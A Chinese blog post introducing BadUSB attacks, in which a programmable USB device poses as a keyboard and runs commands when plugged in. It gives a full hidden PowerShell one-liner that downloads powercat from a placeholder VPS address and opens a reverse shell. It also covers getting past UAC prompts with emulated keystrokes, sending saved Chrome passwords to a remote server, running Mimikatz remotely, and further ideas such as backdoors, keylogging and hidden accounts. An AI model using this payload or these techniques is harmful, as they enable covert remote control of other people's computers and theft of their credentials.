Badusb初探

Posted by CoCo1er on 2019-09-16
Words 956 and Reading Time 3 Minutes
Viewed Times

Badusb初探

前言

​ 从贵阳英才集训中,偶然接触到大师傅介绍的一种社工手段,badusb,不同于以前的那种U盘里带病毒,严格来说badusb不算是U盘,它也不提供存储功能。但是正因为它将恶意代码置于硬件中,使得杀软以及格式化等防范措施都无效。

​ 赵春师傅的badusb,自带了wifi模块,对于物理隔离的内网也能在插入badusb后建立网络与外界连通,这也是一种有效的打击隔离内网的社工方法。

​ 回去以后好奇买了一个玩玩,没有wifi模块,需要主机自带网络才能执行反弹shell等恶意操作。

​ 之前学长推的一个项目Chrome-Password-Dumper,其中利用了powershell脚本中的IEX (New-Object System.Net.Webclient).DownloadString(),真觉得它的功能强大(完美地贴合渗透..),正好可以利用于badusb中远程执行恶意脚本。

badusb介绍

​ BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID设备通常指的就是键盘鼠标等与人交互的设备,用户插入BadUSB,就会自动执行预置在固件中的恶意代码。

​ Bad-Usb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

获取途径

安装Arduino IDE

写入代码

工具 →获取开发板信息

在工具下选好开发板(上图的ArduinoLeonardo)和端口,编程器选择USBasp

然后 编译 上传 即可

拓展

  • 反弹shell
    • 利用powershell,将恶意脚本挂载置vps,badusb写入反弹shell代码

POWERSHELL -WindowStyle hidden -ExecutionPolicy Bypass IEX (New-Object System.Net.Webclient).DownloadString('http://your_vps_ip/xxx/powercat.ps1'); POWERCAT -c your_vps_ip -p 9999 -e cmd

PS:遇到UAC(用户访问控制)这种,键盘模拟也可以绕过(说是绕过,其实就是操作键盘按键来选择赋权),比如CMD的管理员模式,可以win+r打开运行后,输入cmd,再按住Shift+Ctrl+回车即可以管理员启动cmd,同时控制好延时时间,对弹出来的UAC,按住Alt即可出现Y/N对“是/否”的选择。或者直接操作左键+回车都可以选择到“是”来打开管理员cmd

  • 结合Chrome-Password-Dumper,窃取chorme保存用户数据并传给远程服务器
    • 简单实现:chorme.ps 挂载vps,服务器监听端口
    • (也可以采用FTP,加密等手段完善项目,后续有时间再看吧..)
    • 后续发现有本地直接执行的python代码,转成了exe也可以实现窃密。这样就不能写入badusb,而是需要靠伪装exe通过社交平台传播。优点:不需要远程下载脚本执行,速度极快
  • Powershell-Mimikatz

    同上利用方式,badusb中恶意代码远程下载Mimikatz脚本执行,适当修改其脚本添加转发功能即可实现远程dump-password。

  • 其他

    永久后门、当前用户修改密码、键盘记录、强制关机、添加隐藏用户、盗取wifi密码等等。由于powershell能够做的事太多了,所以基本上能想象的攻击操作都能够通过这种方式实现。

后记

  • Powershell脚本的强大, 能很好地用于渗透,不乏像【nishang】、【empire】这样的powershell框架,所以学好它,会利用好它很有必要。后续补一下powershell学习笔记。
  • powershell绕过UAC

PowerShell 技能连载 - 汇总索引